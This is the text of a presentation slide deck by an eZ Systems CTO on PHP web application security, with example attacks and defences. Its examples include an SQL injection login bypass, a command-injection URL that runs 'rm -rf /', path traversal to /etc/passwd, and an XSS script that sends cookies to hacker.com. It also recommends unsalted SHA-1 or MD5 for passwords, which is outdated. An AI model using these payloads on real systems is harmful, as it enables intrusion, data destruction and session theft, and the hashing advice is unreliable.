Web-applications and Security

Bård Farstad <bf@ez.no>

CTO @ eZ Systems
Questions?
eZ Systems

Founded 1999 in Norway

Base philosophy: Open, Share and Innovate!

Privately Owned

85 employees

HQ in Skien, Norway. 8 subsidiaries:

   Oslo, Copenhagen, Dortmund, Lyon, Paris, Brussels, Chicago, Vancouver
Customers and Verticals

- DOLLY DIMPLES
- NASA
- MySQL
- SIEMENS
- FLORIDA Department of State
- GE
- world aids campaign
- HITACHI Inspire the Next
- KPMG
- Science
- talk
- phonzo
- ESTÊE LAUDER
- T-Mobile simply closer
- amnesty international
- AstraZeneca
- Red Cross
- Bouygues Telecom
- DAIMLERCHRYSLER
- PORSCHE
- CITROÈN
- TELIO
- eZ® The Information sharing company
Security

- United States Department of Defense has audited eZ Publish and certified it for use within the Department of Defense (including any divisions of the US armed forces) to store both classified and unclassified information.
• Apache is Big with 70% market share
PHP is Big!

- More than 20 Million domains running PHP
- Many developers, many projects
- Skills?
Firewalls

• Web traffic uses port 80
  • Normally not affected by firewalls
• SSL
  • Data transfer protected by 128/256 encryption
  • Does not help application security
**Web Application Firewall**

- Intrusion detection and prevention engine
- ModSecurity for Apache (Open Source)
- Increases Web Security
  - Protects Web Application against known and unknown attacks
- Analyzing HTTP traffic
  - POST traffic
  - GET traffic
Typical example
**SQL Injection**

- Database level vulnerability due to incorrect escaping

- Simple example:
  - Login SQL:
    ```sql
    select * from user where login='\$login' and password='\$password'
    ```
  - Access script with
    ```
    login.php?login=admin'--&password=foo
    ```
    Without proper escaping $login = admin'--

- Will authenticate as admin user without supplying password
Preventing SQL injection

• Input validation
  • Verify that data input is in correct format
  • Type casting (int)

• SQL escaping
  • Use functions like pg_escape, mysql_escape_string() and mysql_real_escape_string() to escape quotes etc
Code Injection

- Using system commands from PHP
  - `eval()`, `exec()` and `system()`

- Command line conversion of images
  ```
  system( "convert image.jpg thumb.jpg {$width}x{$height}" );
  ```

- Script accessed from
  ```
  convert.php?width=500&height=300;%20rm%20-rf/
  ```
  - This will convert image and run “rm -rf /” on the system

- Use existing functions to escape
  - `escapeshellcmd()`, `escapeshellarg()`, `realpath()`, `addslashes()`
Dynamic Applications

• Never include page directly from user input
  
  ```php
  if(isset($page))
  {
    include($page);
  }
  ```

• Without validation attackers can
  
  ```
  script.php?page=/etc/passwd
  ```

• A bit more secure?
  
  ```php
  include( "directory" . $page . ".php" );
  ```
  Not really:
  
  ```
  script.php?page=../../../etc/passwd%00
  ```
GET vs POST

- GET variables are logged
  - Available in HTTP Referrer
- Hijack session, passwords, personal info etc
- POST variables is not available in log file
  - POST variables should be used for forms
**XSS – Cross Site Scripting**

- Display of unwashed user input
  - Forums
  - Comments
- Vulnerable to session hijacks
- Attackers can steal cookies
- Commonly not taken seriously

**Example:**

```html

<script>
cookie=document.cookie;
window.location='http://hacker.com/steal.php?cookie='+cookie+'';
</script>
```
Input Validation

• First step of every script which handles input
• Check if
  • Integers are actually integers
  • e-mail addresses are correct
  • Names only contains valid characters from the charsets
• Report general errors to the user
  • Never display server errors to user
Sub-system Meta-character Washing

- Escape data passed to sub systems
  - SQL database
  - File system
- Washing is different from Validation
Output Washing

- Make sure that all data is converted to XHTML
- Data can come from
  - User input
  - Database
  - File
- Don't store XHTML in the database
  - Convert content just before it's displayed
- Use functions like: htmlspecialchars()
Clear Text Passwords

- Never store passwords
  - Visible to site administrators
  - Database is cracked and exposed
- Use a one way hashing algorithm
  - SHA-1
  - MD5
- Example
  
  ```php
  $password = 'secret';
  if ( sha1( $password ) == 'a375332c48af107c37a0cc53e5a5fb1d535b7950' )
  {
      print( "Password accepted" );
  }
  ```
Error handling

• Always disable error output
  • php.ini:
    • log_errors = On
    • display_errors = Off
• Error messages can be used by attacker
Sessions

- Disable transparent SID support
  - php.ini
  - session.use_trans_sid=0
    http://example.com/?PHPSSID=cc51dc49792031b9f1f7e2ead5ed6441

- Apache logs HTTP referer
  - Sessions can easily be hijacked
Database Sessions

- Do not use the default file based PHP session handlers
  - Stored in /tmp by default
  - Accessible to any user on the system
Server and application configuration

- PHP source code display
  - AddType application/x-httpd-php-source .phps
- Transssid -> off
- Disable global variables
Summary

• Firewalls and SSL cannot help
• Can use application level firewall (mod_security)
• Always validate input
• Always wash output
• Configure the server and application properly
Questions?